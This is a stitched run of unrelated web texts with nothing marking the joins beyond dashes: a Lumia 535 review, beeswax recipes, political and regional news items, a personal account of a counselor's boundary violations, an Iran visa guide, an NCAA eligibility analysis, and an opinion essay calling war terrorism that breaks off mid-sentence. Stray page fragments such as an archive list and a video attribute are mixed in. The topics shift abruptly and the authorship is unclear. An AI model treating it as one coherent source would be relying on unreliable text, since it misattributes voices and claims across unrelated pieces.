8 GB of internal storage (expandable via microSD). Most of those core specs represent important upgrades from the lackluster Lumia 530, which features the same processor but is hobbled by only 512 MB of RAM and an unacceptable 4 GB of internal storage. The biggest improvement over the 530, however, is the screen. Where the Lumia 530 features an embarrassingly bad 4-inch LCD display running at 800 x 480—easily the worst screen I’ve ever seen on a modern smart phone—the 535 features a decent 5-inch qHD (960 x 540) IPS display with Gorilla Glass 3. And while it can’t claim to be HD resolution, everything in the Windows Phone OS scales nicely, though small text isn’t as razor-sharp as I’d like. You also need to be looking at the screen dead-on for the best quality—viewing angles aren’t great, as you can see below—but it’s a smart phone. That’s how you use it. (Like many other low-end Lumias, the 535 lacks hardware Back, Start and Search buttons and instead employs a software-based navigation bar that includes these buttons. I like this navigation bar for a few reasons—it’s much harder to hit the Search button by mistake, a common issue with Windows Phone handsets, for example—but it also means that the UI is taking up some onscreen real estate at times. You can configure the navigation bar to auto-hide, or you can manually do so at any time, which is really nice.) There’s another important difference between the 530 and the 535, and here again we see Microsoft taking a good idea to heart for newer devices like the Lumia 435 and 532. Where the Lumia 530 includes only an accelerometer sensor, the Lumia 535 is equipped with a more reasonable array of sensors, including ambient light, accelerometer, and proximity. And these little doohickeys go a long ways toward making for a better experience: Unlike the 530, the Lumia 535 supports display auto-brightness, and the screen will dim when you raise it to your face to make a phone call. The rear camera on the Lumia 535 is pedestrian as they come, it’s a 5.0 megapixel unit with LED flash. But it also has a front-facer 5.0 megapixel wide angle unit that appears to be very similar to the “selfie” camera on the Lumia 735. By comparison, the Lumia 530 doesn’t even have a front-facing camera, and the rear unit—also 5.0 MPX, but with a fixed focus—lacks an LED flash. The Lumia 535 doesn’t have a camera button, a missing feature now common across all of Microsoft’s low-end Lumias. (You have to step up to a mid-range Lumia 830—which costs an unforgiveable $500 unlocked—to get a dedicated camera button.) A few other points about the specs. Like the recently-announced Lumia 435 and 532, the 535 is aimed at emerging markets, so it does support dual SIMs—still a curiosity here in the States—but only 3G/HSPA cellular networking. So there’s no LTE support at all, limiting the 535’s appeal in established markets. That said, it is running Windows Phone 8.1 Update 1 with Lumia Denim, and is at this moment the only phone I have capable of running the Lumia Camera app, though of course the camera isn’t powerful enough to use any of that app’s advanced new features. (And the pictures it takes are nothing special.) I outfitted the review unit with a microSD card so I could load it up with media—and offload as much apps and data from internal memory as possible—and use the Lumia 535 the way I think it will be most often used in places like the United States (though you cannot at the moment even buy this device here from a wireless carrier): As a media player. And in this capacity, the Lumia 535 absolutely shines, and it has replaced my previous Lumia media player, the 635, which has a smaller 4.5-inch screen. Before I could get that microSD card into the 535, however, I had to figure out how to get the back cover off. Many Lumia devices feature a removable back cover, allowing you to access hidden SIM card and microSD slots, and a removable battery, or replace the cover with a differently-colored cover or flip case. And as you might expect, I’m quite familiar with how these covers work. Yet, I’ve had a heck of a time getting the 535’s back cover off. I’m not entirely sure why. The cover itself is much thinner than other Lumia covers, which contributes to this device’s delightfully thin form factor. But this thinness is responsible for a certain creakiness I’ve never experienced in other Lumias—including the otherwise terrible Lumia 530, which has a thicker and more solid case—and also, I think, to my issues removing it. In fact, I’ve bent the cover around the USB hole because I’ve struggled with it so much. Fortunately, Microsoft sells replacement covers. Not here, in the United States, of course, but I was able to order a delightfully retro Lumia cyan-colored case from Alibaba to replace it. (It hasn’t arrived yet, and I’m not ready to recommend this option to potential US-based buyers.) Looking at Microsoft’s international sites, I see this device is available for about 95 pounds in the UK ($144 USD), and Expansys is selling the device to US customers for $129. When you consider that a no-contract version of the Lumia 635 is currently selling for about $129 in the US as well (sometimes a bit less on sale) this seems like a great price, and given the option I would opt for the Lumia 535 personally. Of course, most 535 buyers are coming at this device from a different worldview. It’s either their first smart phone, or they’re moving to the 535 from a previous device that wasn’t as full-featured. And aside from all the hardware niceties available here, it’s worth remembering that it features all of the latest Windows Phone features—Cortana, Skype, Office, OneDrive, and Lumia exclusive apps—plus some neat camera functionality, especially with the front-facing selfie camera, and is both expandable and customizable. And Microsoft sells a number of colorful accessories that can complement this purchase. There really is a lot of value here. The Lumia 535 is a fine low-end smart phone and a great example of what’s possible in this market segment. Cheap doesn’t have to mean low-quality. And the Lumia 535 is just the latest in a growing family of inexpensive Windows devices that delivers great value for those without a Platinum American Express card. As such, the Lumia 535 is highly recommended. Tagged with Lumia -Beeswax is produced by honeybee “worker” bees. They secrete it from glands on the underside of their abdomens then chew it up and mold it into the cells of the combs. That’s why they call them worker bees. It’s a big job for the beekeepers, too, who collect it from the hives and melt it down into cakes. (At least they don’t have to chew it.) The reason beeswax is a bit pricey is because for every 100 pounds of honey harvested, a beekeeper will get only one to two pounds of beeswax. It’s not easily come by, but maybe that’s also why beeswax is so very, very wonderful. In candles, beeswax smells delicious, requiring no added scent, and it burns longer and cleaner than other waxes. It also has beautiful, natural color. My latest batch of beeswax candles. Beeswax has a melting point of 143-148 degrees. I prefer it for container candles. For tapers, you need a wax with a higher melting point. The best way to make beeswax tapers is to buy pressed beeswax sheets and roll each sheet tightly around a wick. (Dipped beeswax can make messy tapers that puddle. I prefer to use taper wax–see Hand-Dipping Tapers.) You can also use beeswax to make lip balms, skin creams, and herbal salves. When I was researching beeswax, I found the same recipes in multiple places, so I’m not sure of the original sources. (Probably our great-grandmas.) The recipes I’m posting are ones I’ve experimented with and found useful. The first one is for a beeswax cream that is really nice for the hands in the winter. You can print this post: Printer-Friendly FYI, these measurements are by volume, except for the beeswax, which is by weight (weighed before melting). Beeswax Moisturizing Cream: 4 ounces sweet almond oil 1 ounce beeswax 2 ounces water 8-10 drops essential oil (optional) 8-10 drops Vitamin E Melt the almond oil and beeswax. Remove from heat and stir in the water. Stir in remaining ingredients. Stir as it cools–before it becomes too cool to pour, transfer to a container (or divide between smaller containers). You can also make a super easy “Vaseline”-type moisturizer by combining 1/2 cup baby oil per ounce beeswax. After you melt the beeswax, remove from heat and stir in the baby oil. (You can add a few drops of essential oil, too, if you want more scent. I really like beeswax just how it smells naturally.) There are beeswax lip balm recipes all over the place, but this is one I like that is a Burt’s Bees knock-off. Beeswax Lip Balm: 1 teaspoons grated beeswax 2 teaspoons coconut oil 1/2 teaspoon lanolin liquid from one Vitamin E capsule 2 drops lemon or orange essential oil (optional) 1 teaspoon honey Melt everything together with the beeswax in a microwave-safe bowl (except for the essential oil and honey). If you don’t want to use the microwave, you can also place the ingredients in a little custard cup inside a pot of water on the stove; heat gently to melt. Remove from heat and stir in the essential oil and honey. Transfer to a small container. (This even tastes good.) You can make a healing salve with different essential oils, depending on what you need, such as tea tree oil (good for cuts and burns). Beeswax Salve: 2 ounces beeswax 1 ounce jojoba oil 3 ounces sweet almond oil 1/2 ounce vegetable oil essential oil* *Research the specific essential oils you are interested in before determining the safe quantity to use for your purposes. Melt beeswax together with jojoba oil, sweet almond oil, and vegetable oil. Remove from heat. Stir in essential oil, if using. Transfer to a container. You could also mix in various crushed herbs instead of using essential oils. Beeswax is also the ultimate furniture polish. Beeswax Furniture Polish: 2 ounces beeswax 1/2 pint turpentine 1/4 ounce lemon or orange essential oil (optional) Melt the beeswax. Remove from heat and immediately stir in the turpentine. Add the essential oil, if using, and keep stirring as it cools. Transfer to a container. This makes a creamy polish that is great to lovingly rub into wood. Aside from polishing, beeswax is a great protectant and waterproofing agent for wood. I love this recipe for “Spoon Oil” that was posted on the CITR forum by Buckeye Girl here. Spoon Oil: 16 ounces mineral oil 4 ounces beeswax, cut in chunks Warm the mineral oil by placing the container in a pot of warm water. Place beeswax in a wide-mouth jar and melt in a double boiler. Remove from heat and slowly pour the mineral oil into the melted beeswax. Stir as it cools. Use to rub into wooden spoons. Also great for reviving cutting boards. Bees always scare me a little bit, but I love their stuff! *Make things with beeswax safely–see my guidelines and precautions for melting wax here. You can find beeswax online at craft and candle suppliers, etc. Lanolin, coconut oil, jojoba oil, and sweet almond oil can be found online at health and beauty suppliers, and a lot of the same places where you buy soapmaking and other craft supplies including essential oils. (These are not expensive supplies other than the essential oils, if using.) More posts you might enjoy: Email Address: Posted by Suzanne McMinn on February 7, 2011 -On Media Blog Archives Select Date… December, 2015 November, 2015 October, 2015 September, 2015 August, 2015 July, 2015 June, 2015 May, 2015 April, 2015 March, 2015 February, 2015 January, 2015 poster="http://v.politico.com/images/1155968404/201310/1902/1155968404_2780947835001_vs-526fca73e4b03283b83fd6df-1592194023001.jpg?pubId=1155968404" true The Republican National Committee's new ad blasts Obamacare and plays off the famous "Get a Mac" ad campaign run by Apple from 2006 to 2009. RNC to run Obamacare ad during Daily Show The Republican National Committee will be running an anti-Obamacare commercial during Tuesday's "The Daily Show with Jon Stewart" in the Washington, D.C. market, the RNC announced Tuesday morning. The ad that will run Tuesday is part of a series of four videos created by the RNC playing on the famous "Get a Mac" ad campaign run by Apple from 2006 to 2009. In the videos, a younger man plays the private sector, while an older, overweight and fumbling man plays the new healthcare law and the HealthCare.gov website. "These videos help to convey the absurdity of ObamaCare and the administration’s careless behavior," RNC Chairman Reince Priebus said in a statement. (WATCH: The best of last night's late-night TV) It's clear who the RNC is trying to target with the ad during the Daily Show - the exact population the new health care law is relying on to buy health insurance in order for the whole system to function. But, the ad is only running on "The Daily Show" in the Washington, D.C. market, one full of federal government workers and contractors, many of whom have health insurance through their jobs. -I started going to counseling when I was 25. My counselor was a pastor and respected man in his 50s. At the time I was in a deep depression and was suicidal. I had never been in counseling before so I didn’t know what the counselor/client relationship was supposed to be like. At the time, I wanted to die, and going to this counselor was the only hope that I could hold on to. I depended on him. I gave him my trust, and I told him my deepest thoughts, feelings, and fears. This brought me a sense of closeness to him. He emphasized that closeness. I had often wondered if our friendship that came from the many counseling sessions was too close of a relationship. It is hard to differentiate what should and shouldn’t have happened between us. We became really close and I did feel loved by him, but should I have? Was my counselor being inappropriate? How do you know when to tell someone to stop loving you when you feel so alone and horrible about yourself as I did at the time? It seems like I should have been able to figure it out, but in the midst of things, all I knew was that I needed him so that I could stay alive. Was I responsible to stop something that I didn’t even know was happening? If so, when should I have known to stop it? Was my counselor being inappropriate? Here are some examples of the things that my counselor did that took us down this path. He: Sat next to me on the couch in his office when I was severely depressed Held me while I cried Got me a free membership at a gym Found a place for me to volunteer where his wife worked Talked with me on the phone at any time when I was sad or wanted to die Let me stay at his house for safety on a night when I was going to kill myself Confided in me about his struggles Asked me if I would still trust him if it was found out that he had done something wrong Took me on a fast ride in his son’s sports car just because Met with me at a coffee shop one day instead of his office to tell me he was fired as a counselor because he had an affair with another client Told me he had been seduced by the woman client he had the affair with Continued to see me one on one after being fired as a counselor Met me at my work and took me out to lunch regularly Called and talked to me for hours when his wife was out of town Hung up on me when we were talking on the phone if his wife came into the room with him Caused me to get suicidal because he was suicidal Told me that I understood him in a way others did not Didn’t tell his best friend about me because his best friends wouldn’t understand our special relationship Held my hand while walking around the city Kissed me on the top of the head when we would say goodbye Told me that he loved me on a regular basis Was my counselor being inappropriate? Were any of these things ok? These things made me feel special at a time in my life when I thought I was a horrible person. Not being a counselor myself, I didn’t know about boundaries in counseling. I didn’t know about relationship definitions between counselor and client and the possible negative impact these could have on my mental health. I didn’t know that a counselor should just be a counselor or that I should be learning to have strength on my own and not get all my strength from my counselor. How is a person in the midst of the biggest struggle of her life supposed to have the strength to stop something that she don’t even know could be wrong or damaging? When someone loves you in what you thought was a pure love, how do you say no? After years of these things, I ended up being the one to start questioning him. I asked him if his wife knew about us meeting together. I asked him if any of his friends knew about our friendship, especially his best friend. I started questioning whether a married man should be telling his deep struggles to another woman. I started wondering if I was the other woman… …and then one day, when I called him, he said, “Oh, I didn’t know it was you.” Then he hung up on me. He never spoke to me again. I guess I got my answer. Sharing this makes me feel very exposed and even ashamed that I didn’t recognize what was happening sooner. So, why do I tell all this? I want you to know that these things are not ok. I want you to be able to recognize some signs that your counselor may be going down the wrong road with you. Maybe you can avoid the confusion and pain that I went through. If your counselor is trying to become more than a counselor, it is not ok. The counselor is not helping you at that point, they are helping themselves. You need help from a counselor, not confusion. You deserve not to be deceived or used for someone else’s gain. Please know that you are worth having a safe counselor to go to. A counselor that will respect you and the counseling relationship. -Caracas, September 24th 2012 (Venezuelanalysis.com) – North American film director, Oliver Stone, has spoken out on the Venezuelan elections from the San Sebastian film festival in Spain, where he stated that current Venezuelan President Hugo Chavez would “win the elections again” in October and that his opponent, Capriles Radonski, was “not a good guy”. “If he (Capriles) won, he would hand the country back to the upper classes,” stated the veteran director, who was invited to the 60th anniversary of the film festival to receive a lifetime achievement award alongside Hollywood actor, John Travolta. Stone, who directed the documentary “South of the Border” which tells the story of Latin America's new wave of elected left-wing presidents, went on to confirm that the Chavez is “in good health,” despite the fact that the Venezuelan leader is currently recovering from an undisclosed form of cancer. The openly left-wing film-maker also used the festival as a chance to make a series of political commentaries, including his desire to see former Spanish president, José Maria Aznar, tried at the Hague due to his collaboration with George W. Bush and Tony Blair in the Iraq war. He furthermore made a series of statements relating to current US politics, and denounced Washington for pursuing Wikileaks founder, Julian Assange. Despite his criticisms of the current US administration, Stone said he would vote for Barack Obama in the upcoming US presidential elections, even though he considers the Democrat leader to be “not a very important leader, and even less so if he cannot change this direction to the right that we are taking”. Stone is currently promoting his new film “Savages,” which focuses on the issue of the narcotics industry in Mexico. During the presentation of the film in San Sebastian, the film-maker strongly criticised the “stupidity” of the Washington sponsored “war on drugs”. “Forty-two years ago we (the US) started the war against drugs... and now there are more drugs, which are cheaper and better than ever... the US doesn't use the war on drugs to fight against drugs and the violence generated by them, but to spy on other countries and to enter other countries, such as Colombia, Mexico, Afghanistan or Pakistan, to put their people there and.. militarise them,” he stated. -The Iran Visa on Arrival information contained here is based on my experience in February 2017. If you have any questions about this process contact me on Facebook or in the comments below. I applied for a visa on arrival at Tehran Imam Khomeini International Airport. A friend of mine applied at the international airport in Shiraz instead, the process was identical. Once you disembark from your plane, you should immediately look for signs pointing you towards the visa area. The airport is small so it is not hard to find this area, just look for the signs. The visa process is as follows: Visa on Arrival Application Process 1. Purchase or Verify Your Travel Insurance The first step in the visa process is to sort out your travel insurance. To do this, you will need to head to the travel insurance cashier/desk. Please note that even if you already have travel insurance that is valid for Iran, you still need to have this verified at the insurance desk. If you already have insurance valid in Iran, make sure you have printed your policy certificate and show this at the insurance desk. Make sure to point out where on your certificate that it says ‘Iran’. I travel with World Nomads insurance and specifically made sure that Iran was included. The insurance certificate issued to me by World Nomads explicitly stated that it was valid for Iran. If you have travel insurance but your printed policy does not clearly state that it is valid for Iran, you may be forced to buy a separate policy. If you are forced to buy insurance at this counter, you will need to pay about 14€ for 30 days of coverage. Coverage for other lengths of time are also available with the cost going up and down proportionally. 2. Fill in Visa Application Form After purchasing or validating your travel insurance, head over to the visa desk itself and get a small (A5) white visa application form. This small form is quick and easy to fill out and requires your passport details, home address, father’s name, job and a few other details. The form also asks for the location and contact details of the place you will be staying at while in Iran. In this section I included the name, address and phone number for my hostel in Tehran. I did not include the details of all my accommodation in Iran, just the place I was staying at first. There were no questions on the form about previous travel to Israel. I should note that I had previously been to Israel, however my passport contained no evidence of this. I was relieved to find the form did not ask me if I had been to Israel because really I don’t like lying on visa applications. 3. Pay For Your Visa After filling out the A5 sized visa application form, return to the visa desk and give the attendant the completed form, your passport as well as your proof of travel insurance. He will respond by scribbling a figure in Euro on a small white piece of paper and will instruct you to pay this at the cashier’s counter located next to the visa desk. For me this figure read 145€. A cost schedule by country for the visa on arrival can be found here. It appears to be an accurate list, but I have not verified it 100% and the list is not complete. New Zealand is not on this list, however after speaking to a few Kiwis while in Iran, I can confirm that the cost is 150€ for NZ passport holders. Once you have paid the correct price at the cashier you will be handed a receipt. Do not lose the receipt, you will need it! 4. Wait For Your Application to be Processed The final step is to simply wait. You do not need to go back and speak to the visa desk attendant yet, you just need to wait. Once your application has been processed the attendant will call out your name (or maybe just your country’s name). You will then need to hand over the receipt you received from the cashier and in return you will be handed your passport complete with Iranian visa inside it. If you made any mistakes on the white A5 visa application form, it will be pointed out to you at this stage. I saw one person in particular fail to include a phone number for his accommodation and so they called out his name and made him correct it. He then he had to wait further. Make sure you completed the form described in step 2 above to avoid any delays at this step. 5. Clear Immigration and Collect Luggage With your passport in your hand, complete with a brand spanking new visa, you can now head to passport control. This step is very quick and you should not be asked any additional questions. Once you have cleared passport control you can collect your bags. If your application process took a while (as mine did) your luggage will probably not be on the luggage carousel but sitting on the ground somewhere nearby. Do You Need Proof of Onward Travel? I did have an onward flight booked and I had a printout of the booking details. However at no stage was I required to show this. From my experience, an onward flight is not required to gain entry to Iran. However, as is often the case, you may be required to show proof of onward travel during the check-in for your flight to Iran. If You Have Valid Travel Insurance. Bring Proof! An insurance policy certificate clearly stating that it is valid for Iran. If you do not have this you will need to buy insurance at the airport for about 14€/30 days. Bring Email Confirmation For Your First Accomodation An email printout with your first accommodation booking details might be needed. You may not need to actually show this to anyone, but you will need the information on it to fill out your forms. At the very least make sure you have an email containing your accommodation booking details, an address and contact information. Contact details for a hostel are accepted, there is no need to book an expensive hotel. Only accommodation details for your first stop in Iran appears to be required. I do not believe that the authorities called my accommodation to check if I was actually staying their, however have heard that in other cases they will check. Do I Need to Bring Passport Photos? The Visa process as it stands does not require you to bring any passport photos. They will take a copy of your photo contained in your regular passport instead. Which Countries are Eligible for a Visa On Arrival? A detailed list of countries eligible for a Visa on Arrival is available the following links. How much does the Visa on Arrival cost? The cost of a visa on arrival varies depending on your country of origin. However the most common price is 75€ which is the price for most European countries. Australians and New Zealanders on the other hand pay 145€ and 150€ respectively. A complete list for VoA costs can be found at the link below. (Header image taken by Ellen from https://travellingtheworldsolo.com/) -1. The legislation will allow contractors to be secretly "blacklisted," and excluded from DoD contracting programs. 2. The blacklisting allowed under Section 815 could result in "de facto" debarments of federal contractors across the federal government without due process. 3. Section 815 does not require DoD to notify or justify its decision to blacklist companies. 4. DoD's determinations regarding its secret "blacklist" would be protected from disclosure under the Freedom of Information Act (FOIA), protest at the Government Accountability Office (GAO), or action brought in the federal court system. 5. The legislation represents a reduction in competitiveness in federal contracting programs, and as a result could lead to increased costs of goods and services. 6. The legislation consolidates DoD acquisition authority on over $300 billion a year in defense contracts into the hands of a small group of high-level Pentagon officials. 7. The legislation will lead to a reduction in transparency, accountability and oversight in federal contracting programs and opens the door to unparalleled and perhaps unconstitutional abuse. 8. Could allow large contractors like Boeing, Lockheed Martin and Northrop Grumman with significant clout at the Pentagon to eliminate their competitors with more efficient and cost effective products. -Saint John's overall office vacancy rate has crept up again, reaching 21.5 per cent. "That's about the highest it's been during my [20 year] tenure here," said real estate analyst André Pouliot, with Turner Drake, the brokerage firm that compiled the numbers. In comparison, office vacancy rates are 9.5 percent in Fredericton, 13.7 percent in Moncton, 15.3 percent in Halifax and 12.7 percent in St. John's. Because of the excess of vacant offices in the Port City, some landlords told CBC they've felt pressured to drop their rents and pay up front for improvements or consider other incentives to attract tenants in a highly competitive market. John Lawson is seeking tenants for the entire fifth floor of Harbour Centre building in Saint John. (Rachel Cave/CBC) In Saint John's uptown business district, the least prestigious space with the fewest amenities, also known as Class C space, is renting for as low as $7 per square foot. Pouliot says landlords must be feeling the pressure to move their capital elsewhere or repurpose their buildings. "When we say the rates are unsustainably high, we're trying to get into the heads of property owners," he said. "Property owners are capitalists. They expect to earn a certain return on their real estate." Pouliot said when vacancy rates are topping 20 per cent, owners still have to make their mortgage payments. "Eventually what they do is they look at the situation and say, 'Hey, can I put my property to better use?'" Seeking tenants Over at the Harbour Centre building on Prince William Street, John Lawson is looking for tenants to fill 6,000 square feet, or the entire fifth floor. John Lawson is seeking tenants for 6,000 square feet of office space at Harbour Centre building. (Rachel Cave/CBC) As he walks through the empty rooms with their views of the harbour, he says the search for a new tenant began almost a year ago, when the previous renters gave notice they would be leaving by November. "Right now, it's not great," he said. "We haven't had a lot of inquiries." Pouliot says employers today are looking for less space per worker and in Saint John he says that trend has not been offset by economic growth. Some blame the tax rate for stifling that growth. "We have the highest commercial and property tax rates and it's hurting us," said corporate and commercial lawyer Andrew Costin, who also serves as vice-president for Uptown Saint John, the city's business improvement association. According to the Real Property Association of Canada, the annual tax on commercial property per $100,000 assessment is $5,043 in Saint John, $4,840 in Moncton, $2,640 in Toronto and $1,386 in Vancouver. Costin says it's a "serious problem" and he doesn't see any leadership from the province or the city to fix it. Office stock supply stagnant Pouliot says Saint John's supply of office stock hasn't changed a lot. The city had about 2.29 million square feet in 2011 with a vacancy rate of 10.7 percent. Today, there's about 2.53 million square feet. But that will change when Irving Oil completes its new headquarters. That building will create more empty office space in the city when some 100 workers leave their current scattered locations and move in. -Around the world there has been a huge increase in the number of children being referred to gender clinics - boys saying they want to be girls and vice versa. Increasingly, parents are encouraged to adopt a 'gender affirmative' approach - fully supporting their children's change of identity. But is this approach right? In this challenging documentary, BBC Two's award-winning This World strand travels to Canada, where one of the world's leading experts in childhood gender dysphoria (the condition where children are unhappy with their biological sex) lost his job for challenging the new orthodoxy that children know best. Speaking on TV for the first time since his clinic was closed, Dr Kenneth Zucker believes he is a victim of the politicisation of transgender issues. The film presents evidence that most children with gender dysphoria eventually overcome the feelings without transitioning and questions the science behind the idea that a boy could somehow be born with a 'female brain' or vice versa. It also features 'Lou' - who was born female and had a double mastectomy as part of transitioning to a man. She now says it is a decision that 'haunts' her and feels that her gender dysphoria should have been treated as a mental health issue. This documentary examines Zucker's methods, but it also includes significant contributions from his critics and supporters of gender affirmation, including transgender activists in Canada and leading medical experts as well as parents with differing experiences of gender dysphoria and gender reassignment. -August 28, 2013 NCAA Denies Rakeem Buckles to Minnesota The NCAA has reportedly denied a waiver request that would enable Rakeem Buckles to compete during the 2013-14 season for the Minnesota Golden Gophers. Buckles would be a promising addition to a Minnesota roster that could use help rebounding and blocking shots. The school can appeal the decision and the ultimate resolution could favor Buckles and the U. However, with Minnesota’s fall semester beginning next week and classes having already started at Florida International, timing is an issue. The traditional media will display “outrage” at the perceived inconsistency of the NCAA and point to “similar cases”, but there are several issues that could be unique to Buckles. Who Plays if Buckles Doesn’t? Before getting into Rakeem Buckles and his situation, let’s quickly consider who else is on the roster. The Gophers have two redshirt junior centers in Elliott Eliason and Maurice Walker. Neither have logged many minutes during their years at Minnesota, but if they both stay healthy and produce then the situation at center seems relatively set. Experienced guards Andre Hollins, Austin Hollins and Malik Smith all figure to see a ton of floor time. However, none of these players rebound well. The need for a power forward to rebound and defend inside is significant. Redshirt junior Oto Osenieks, redshirt freshman Charles Buggs and – if he receives a waiver to play immediately – sophomore Joey King, all are possibilities to help Minnesota rebound the ball this season from the “4” position. Gopher sophomore Wally Ellenson, a 6’4″ wing, may be a better offensive rebounder than any of the power forward candidates. With great leaping ability and fearlessness, Ellenson can make an impact crashing the offensive glass if given the green light. Back to Buckles The arguments and reasoning by the various parties involved in such eligibility matters are rarely made public. Non-disclosure does cause some of the angst and complaining displayed by the public when there is a perception that the NCAA “got it wrong”, but when you’re potentially dealing with issues of academics, health, etc., non-disclosure is appropriate. We are not opining here as to whether Buckles should be eligible to play for Minnesota this season. Rather, we are taking a non-comprehensive look at what some of the issues could be. There isn’t a checklist, unbiased computer program, or inflexible rules to look at. Ultimately most decisions include a degree of subjectivity. 1) Multiple 4-4 transfers. In early April we talked about immediate eligibility for graduate student transfers as it relates to Rakeem Buckles. Although our understanding is that Buckles has not been accepted into a graduate program at the University of Minnesota, the discussion in this article from nearly 5 months ago remains potentially relevant. Put simply, the NCAA could take issue with the belief that Buckles is following a coach around. In April we discussed why approval of a waiver could be problematic for Buckles. Graduate students are generally afforded a one-time exception (i.e., no waiver is required). However, if a student has previously transferred from one 4-year school to another (i.e., Louisville to FIU), the exception is not available and a waiver must be requested. “A coach leaving is not generally seen by the NCAA as a valid justification for a transfer and in fact Pitino’s move from FIU to Minnesota might hurt the argument of Buckles being eligible up north. Most likely the argument would be that Minnesota has a grad program Rakeem has been accepted into, but the same program is not offered at FIU. Would the committee reviewing the waiver challenge the reasoning behind the request because of what may appear to be (and might factually be) a player following his coach as opposed to a student-athlete excited by a particular program at the University of Minnesota? With his history of injuries you’d hope he gets a chance to do what he’d like next season, but it’s difficult to tell.” 2) FIU’s Postseason Ban Contrary to popular belief, if your school is banned from postseason play and you’re going to be senior, you do not automatically receive immediately eligibility at a new school. The NCAA Bylaws allow one of its groups to award a waiver based on the recommendations of another group in such circumstances. Remember, this waiver is generally granted when a postseason ban “would preclude the institution’s team in that sport from participating in postseason competition during all of the remaining seasons of the student-athlete’s eligibility”. Minnesota’s Malik Smith did transfer to Minnesota and was granted a waiver to play immediately, however his history is different from Rakeem’s. When Buckles and Smith decided to attend FIU before the 2012-13 academic year (and when Richard Pitino decided to coach there), the expectation was that the school would be banned from postseason play in 2013-14. Malik transferred in from a junior college. He was eligible to compete in 2012-13 and had a chance to participate in the postseason, even though the prospects for being eligible for postseason in 2013-14 looked dim. Buckles transferred in from Louisville and was not eligible to compete in 2012-13. Therefore, it could be argued that Buckles essentially knew what his situation would be at FIU. In his one year of remaining eligibility to compete, he’d be at a school that was ineligible for postseason play. Does this mean it makes sense for Smith and Buckles to be treated differently? In some minds it might. 3) Academic progress When transferring, student-athletes can run into situations where classes at one school do not help their progress toward degree at another school. A player might not declare a major early on and take some more “general” type classes or certain classes (physical education, for example) that may help toward progress of only specific degrees offered by their school. Some classes taken previously may not transfer over. Some classes may transfer over only if a specific degree at the new school is being pursued. In addition, when players are injured (especially early in a semester) they may be able to reduce their course work and still maintain eligibility under NCAA rules. Buckles tore an ACL about a week into the spring 2012 semester and could have withdrawn from some classes after this major injury. Delaying a decision on your major isn’t unusual and there’s nothing wrong with scaling back your course work if you need to have a major surgery performed during the semester (not to mention the need to dedicate a tremendous amount of time to rehab). However, such circumstances and decisions can result in cutting it close with regard to your progress toward degree. @LateNightHoops is on Twitter. Sharing Options: -Ethan Indigo Smith, Contributor Waking Times Terrorism [noun]: The unlawful use of violence and intimidation in the pursuit of political aims. War is politically motivated violence. War is, therefore, terrorism, enshrined in the law of one warring party. By its definition, war threatens and enacts violence on behalf of the State, for its own benefit, at the expense of the lives and livelihoods of countless others. And yet we have come to accept their invasion, their suppression, and even their deaths as necessary to our lives — to our sense of peace. So we occupy lands, we kill leaders, we overturn cities in the hunt for weapons that don’t exist — and all because the lawmakers who decide which violent acts are “war” and which are “terrorism” tell us such violence is necessary to achieve peace. So, remind me again… Who are the terrorists? Who are the war heroes, and who are the war criminals? How do we discern military from militia? Do we really believe peace can be achieved by declaring war on war itself? The greatest hypocrisy of our time. The world’s political institutions — from the U.S. to Russia, from Israel to ISIS — seek to gain and maintain power through the use of violence, terror, and military coercion. In fact we live in a world where legally-sanctioned acts of terrorism are carried out more often than illegal terrorism — but, as they are conducted within someone else’s borders, in someone else’s homeland, we separate ourselves from this reality, in a dissonant attempt to protect ourselves from it. “Never forget that everything Hitler did in Germany was legal.” ~ Martin Luther King Jr. Whether we are conscious of it or not, we are each deeply and profoundly disturbed by the war world we live in; we are disturbed that hate is the language of our leaders. We are disturbed that we send our sons and daughters away to participate in it. and we are disturbed that we allow it. And we are disturbed by feeling we are unable to do anything about it. For most of us, war has been an ever-present part of our lives, and we accept the state of war as the state of “normal” — simply because it has always been. The United States has been at war for 224 years out of the last 241 years. Not one U.S. president qualifies as a solely peacetime president, and the only time the United States lasted 5 years without going to war was between 1935 and 1940 — during the period of the Great Depression. Sadly, but true to form, America centered its post-Depression economic recovery around its military industry. Subsequently, every U.S. President since the end of World War II — from Truman to Kennedy, Eisenhower to Nixon, Reagan, Bush, Clinton, ‘Dubya’, and Obama — enacted a Presidential Doctrine directly pertaining to war, either by inviting U.S. involvement in conflict or inciting it directly. Today, with President Trump having just assumed office, the military industry is critical to the survival of the U.S. economy — and indeed, of the United States of America — employing over 3.5 million Americans [source] and generating over $300 billion in revenue each year for private military companies. [source] Call it what you will, such institutionalization of war is terrorism. It does not matter how crazy or legitimate their goals are perceived to be; violence in order to express a point is terrorism. But with a warring mentality firmly embedded in both the psyche and economy of the United States, Americans have not learned the lessons of history and failed Presidential policy, and allow these systems of war to continue on their behalf under the Orwellian guises of “liberty”, “peacekeeping” and “freedom”. However the reality shows us that the result of those systems is anything but free, peaceful liberty. Institutional Thinking: The Mind of The State “Deception is a state of mind and the mind of the state.” ~ James Jesus Angleton No matter how confusing the War on Terror becomes, no matter the geopolitics involved, no matter who is wearing which uniforms, or what book they hold, or flag they fly, people who kill and die in the name of institutional abstracts are terrorists — whether they are lawmakers, rebels, military soldiers, suicide bombers or Heads of State. Those who willingly kill and terrify on behalf of a geopolitical agenda are terrorists. Period. Those who do so are conned, convinced through varying levels of propaganda. The most obvious (yet diabolical) form is friendly old Uncle Sam beckoning young unemployed teens to “see the world” by his side. But it isn’t just our troops who have been conned. We Americans are proud to see our children put boots to the ground (primarily 18-21 year olds) and engage (kill) the enemy. We celebrate their “successes” (killing) and mourn their “losses” (being killed). We have learned to euphemistically minimize deaths as ‘casualties’, when there is nothing casual about it. We falsely believe the killing and maiming of innocent civilians to be the exception and not the rule of war, rationalize killing and dying in the name of perverted, monolithic geopolitical ideologies. Whatever way you look at it, using violence to coerce is terrorism. Not only is it commonplace, it the design of our society’s institutions — from the more obvious government and military institutions to the less obvious nuclear energy industry, which feeds materials to nuclear weapons programs, and the media, which portrays the acts of war in perfect alignment with government rhetoric. Yes, the machinery of war is so commonplace in the United States that we can’t even see the problem let alone then begin to define it! Make no mistake, the cause of violence and terror today is our so-called leaders. They control the military might to destroy entire countries, yet claim not to have the resources to simply defend our borders against attack, preferring instead to enact “preemptive strikes” on foreign soil — to attack first rather than defend. Invariably, such policy requires increasingly authoritative, punitive and even fascist policies on home soil, to keep the confused (and disturbed) public in line. So, to put an end to the U.S. doctrine of perpetual war, we need to stop asking why individuals resort to acts of terrorism and ask why we allow our institutions to do so as example to world’s individuals. Why is terrorism increasing? Why would a terrorist sacrifice their own life to inflict harm on individuals? What are they responding 